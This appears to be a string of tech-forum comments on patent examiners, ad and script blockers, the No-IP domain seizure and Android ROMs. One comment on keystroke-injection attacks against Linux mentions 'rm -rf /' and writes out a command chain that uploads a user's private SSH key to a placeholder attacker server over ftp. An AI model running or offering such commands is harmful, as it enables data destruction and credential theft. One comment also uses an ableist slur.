No clue why this was marked "redundant". From what I can see, this is the point that everyone else is missing...it's not about a couple of guys occasionally goofing off, it's a culture of slacking off, then rushing and pushing through shoddy work, which has resulted in some fairly retarded patents getting approved, even in cases where prior art was clear.

I eat Cheetos, you insensitive clod!

I'd be interested to see how well this works against linux workstations. Having the ability to arbitrarily send keyboard commands will only be effective if a) they're the correct key commands (eg, the shortcut to open the terminal client, or a web browser, which changes depending on your desktop environment) and you can actually *do* those commands. Eg, "rm -rf /" isn't going to work without the superuser password.

That said...something like "cd ~/.ssh;ftp attack@myserver.hack;put id_rsa;exit" wouldn't necessarily need any sort of high level access...and getting ahold of someone's private key is akin to getting the holy grail, especially if you can do it without them realizing it.

$hat = 'tinfoil'

Nah, Leverage is just an illegally de-classified documentary of a black ops crime fighting unit from the future, sent back to us by the rebels as a warning about what's coming next.

At the point where a hacker has physical access to one of your machines, you have bigger problems than whether they're going to swap out your mouse for something more easily hackable.

I basically came here to say exactly this. Adblock Plus, NoScript, Ghostery, FlashBlock...whenever I browse the internet without them (eg, on a friend's computer, or when doing tech support, or when re-installing an OS) I have a moment of "...the heck are these abominations?" before I remember that, oh right, the internet has ads.

Try reading a bit deeper. This from the TechNet article:

ex parte : "a legal proceeding brought by one person in the absence of and without representation or notification of other parties."

Translation: Microsoft *never notified* No-IP. There was no summons. There was no notification. There was no chance to file for a stay of judgement or make an appeal.

This here is the point that most of the "waaa, gps is receive only, not a threat, Moffitt is clueless, waaa!" crowd misses. In a situation requiring strict operational security, anything that stores your location in a potentially retrievable manner is controlled

I'm kinda surprised more people haven't brought this up, especially with all the conversations about XP EOL happening right now.

I already commented on this thread, otherwise I'd be modding this comment up.

Every few months, I use a browser without the essentials (NoScript/FlashBlock/Ghostery/AdBlockPlus) installed, and the internet is nearly unusable. Popups, ads, popup ads, autoplaying media, autoplaying media ads...the list goes on. Running the gantlet almost isn't worth it, and I retreat back into the solitude that is the ad-free internet.

I still don't understand how people still use IE.

I normally allow top level sites in NoScript by default. 99% of the time, the "functional" javascript is served by the domain you're visiting, and that javascript-based ad you're trying to avoid is hosted offsite.

Basically, as websites evolve, so does NoScript.

Depending on your android version, you can disable specific apps. But I think you have to have a 4.x build of android.

I've been quite pleased with the performance increases and security enhancements provided by Cyanogenmod. But then...I'm also willing to break my phone a couple of times if necessary while trimming away unnecessary permissions from apps.

But only because it makes the grammar nazis upset.